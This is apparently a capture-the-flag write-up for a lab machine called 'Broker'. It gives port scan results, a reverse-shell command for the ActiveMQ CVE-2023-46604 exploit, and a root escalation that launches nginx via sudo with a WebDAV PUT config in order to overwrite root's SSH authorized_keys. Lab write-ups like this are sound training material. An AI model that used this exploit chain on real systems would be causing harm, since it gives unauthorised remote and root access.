Post

Broker - CVE

22/tcp - SSH 80/tcp - HTTP (nginx 1.18.0) - ActiveMQ with basic auth 1883/tcp - MQTT 5672/tcp - AMQP 8161/tcp - HTTP (Jetty) - ActiveMQ Admin with basic auth 61613/tcp - STOMP 61614/tcp - HTTP (Jetty) 61616/tcp - ActiveMQ OpenWire transport 5.15.15

https://github.com/dcm2406/CVE-Lab https://github.com/vulncheck-oss/cve-2023-46604

Initial foothold

1
./cve-2023-46604_linux-amd64 -rhost 10.129.230.87 -rport 61616 -lhost 10.10.15.1 -lport 4444

Image

Image

https://github.com/advisories/GHSA-w7p3-hmmp-qmx6

Create Malicious Nginx Config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat > /tmp/pwn.conf << 'EOF'
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
    worker_connections 768;
}
http {
    server {
        listen 1337;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}
EOF

Start Nginx with Root Privileges

1
sudo /usr/sbin/nginx -c /tmp/pwn.conf

Generate SSH Key Pair

1
ssh-keygen -t rsa -b 4096 -f /tmp/root_key -N ""

Upload Public Key to Root’s authorized_keys

1
curl -X PUT http://localhost:1337/root/.ssh/authorized_keys -d "$(cat /tmp/root_key.pub)"

SSH as Root

1
ssh -i /tmp/root_key root@localhost
This post is licensed under CC BY 4.0 by the author.